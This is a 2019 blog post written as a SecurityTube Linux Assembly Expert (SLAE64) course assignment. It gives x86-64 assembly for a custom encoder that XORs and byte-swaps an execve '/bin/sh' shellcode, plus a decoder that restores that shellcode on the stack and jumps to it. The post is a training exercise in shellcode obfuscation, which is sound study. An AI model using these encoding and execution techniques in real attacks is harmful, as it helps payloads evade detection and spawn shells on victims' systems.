SLAE64 Assignment 4 - custom encoder

this assignment has been splitted in 2 exercises:

ENCODER

; author     : Sandro "guly" Zaccarini SLAE64-1497
; purpose    : this program takes shellcode from 04-execve-stack.asm and swap bytes odd
;              with the next odd, even with next even, skipping already swapped ones
;              given ABCDEFGH, resulting shellcode will be: CDABGHEF
;              from a high point of view, i'm working with block of 4 bytes
;              plus, every byte is xored with an hardcoded value to prevent basic
;              "cyberchef" bruteforce
;              this code has been written for SLAE64 assignment 4
;              you can find all the code at https://github.com/gulyslae/SLAE64
; license    : CC-BY-NC-SA
;
; r14 => used for the first move
; r15 => pointer to SC starting address
; rcx => main counter
; rbx => counter used for the 4bytes swapping

  global _start

  section .text
  SC: db 0x48,0x31,0xc0,0x50,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x53,0x48,0x89,0xe7,0x50,0x48,0x89,0xe2,0x57,0x48,0x89,0xe6,0x48,0x83,0xc0,0x3b,0x0f,0x05

; i'm using this function to debug like "printf". i know initial values, and i calculated
; with pen and paper what i expect: piping this code to xxd is a very fast way to proof
; it could be easily skipped
  writeexit:
; don't care about previous env, junk it and print my 0x20 chars
pop rax
xor rax,rax
xor rdi,rdi
inc rdi      ; print to STDOUT of course
mov rsi,rsp
mov al,0x1   ; write syscall id
mov rdx,rax
mov dl,0x20  ; hardcoded len, i know it's 32chars => 0x20
syscall
xor rax,rax
mov rdi,rax
mov al,0x3C  ; and a neat exit, because when i print i don't want to exec
syscall

; testodd and odd are explained on line ~92
  testodd:
test bx,1 ; if odd. null here but as will state later, don't care
jz odd
ret
  odd:
inc rbx
inc rbx
ret

  _start:
; make room for the shellcode, i know that the stack is rwx but memory where i have SC
; is r-x, so i will have sefgault if i try to write there. on modern system of course
; this won't work because of NX
sub rsp,0x28

; move SC starting point to r15
lea r15,[rel SC]

; counter to copy the whole shellcode to stack
xor rcx,rcx
push rcx
pop r14
push rcx
pop rbx

; given i handle bytes in couple, i have to loop for half the length
add cx,0x10
  copy:
; mov is heavy in term of bytes, but we don't need this shellcode to be small
; take rbx-th byte
mov byte r14b,[r15+rbx]
; xor it
xor r14b,0x50 ; i'd like to start with a nop, so i should xor with 0x50
              ; unfortunately, i already have a 0x50 byte in my shellcode so it will lead
              ; to nullbytes. doesn't matter, because i'm running this on MY box
inc rbx
inc rbx
; and swap it as discussed on top
mov byte [rsp+rbx],r14b

; do the same with the counterpart
mov byte r14b,[r15+rbx]
xor r14b,0x50
dec rbx
dec rbx
mov byte [rsp+rbx],r14b
inc rbx

; i know that if rbx is odd, i already encoded a 4bytes block: i have to move to the
; next block by incrementing rbx by 2
call testodd
; loop until rcx is 0, that means i worked on all shellcode
loop copy

; actually i can't jmp rsp, so better write the shellcode to STDOUT :)
call writeexit

DECODER

; author     : Sandro "guly" Zaccarini SLAE64-1497
; purpose    : this program takes shellcode generated by 04-encoder.asm
;              restores and run it
;              this code has been written for SLAE64 assignment 4
; license    : CC-BY-NC-SA
;
; r14 => used for the first move
; r15 => pointer to SC starting address
; rcx => main counter
; rbx => counter used for the 4bytes swapping

  global _start

  section .text
  ;this shellcode is generated with: ./04-encoder |xxd -c 32a3 -g 1 | cut -c 10-105 | sed s/\ /,0x/g
  SC: db 0x90,0x00,0x18,0x61,0x7f,0x32,0x18,0xeb,0x7f,0x7f,0x39,0x3e,0x03,0x18,0x23,0x38,0x00,0x18,0xd9,0xb7,0x07,0x18,0xd9,0xb2,0x18,0xd3,0xd9,0xb6,0x5f,0x55,0x90,0x6b

; i'm using this function to debug like "printf". i know initial values, and i calculated
; with pen and paper what i expect: piping this code to xxd is a very fast way to proof
; it could be easily skipped
  writeexit:
; don't care about previous env, junk it and print my 0x20 chars
pop rax
xor rax,rax
xor rdi,rdi
inc rdi     ; print to STDOUT
mov rsi,rsp
mov al,0x1  ; write syscall id
mov rdx,rax
mov dl,0x20 ; hardcoded len, i know it's 32chars => 0x20
syscall
xor rax,rax
mov rdi,rax
mov al,0x3C ; and a neat exit, because when i print i don't want to exec
syscall

; testodd and odd are explained on line ~86
  testodd:
test bx,1 ; if odd. null here but as will state later, don't care
jz odd
ret
  odd:
inc rbx
inc rbx
ret

  _start:
; make room for the shellcode, i know that the stack is rwx but memory where i have SC
; is r-x, so i will have sefgault if i try to write there. on modern system of course
; this won't work because of NX
sub rsp,0x28

; move SC starting point to r15
lea r15,[rel SC]

; counter to copy the whole shellcode to stack
xor rcx,rcx
push rcx
pop r14
push rcx
pop rbx

; given i handle bytes in couple, i have to loop for half the length
add cx,0x10
  copy:
;mov is heavy in term of bytes, but we don't need this shellcode to be small
; take rbx-th byte
mov byte r14b,[r15+rbx]
xor r14b,0x50 ; i'd like to start with a nop, so i should xor with 0x50
              ; unfortunately, i already have a 0x50 byte in my shellcode so it will lead
              ; to nullbytes. doesn't matter, because as video states, i'm running the
              ; executable on the box and nullbytes shouldn't hurt.
inc rbx
inc rbx
; and swap it as discussed on top
mov byte [rsp+rbx],r14b

; do the same with the counterpart
mov byte r14b,[r15+rbx]
xor r14b,0x50
dec rbx
dec rbx
mov byte [rsp+rbx],r14b
inc rbx

; i know that if rbx is odd, i already encoded a 4bytes block: i have to move to the
; next block by incrementing rbx by 2
call testodd
; loop until rcx is 0, that means i worked on all shellcode
loop copy

jmp rsp
; left as debug
;call writeexit

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Written on September 5, 2019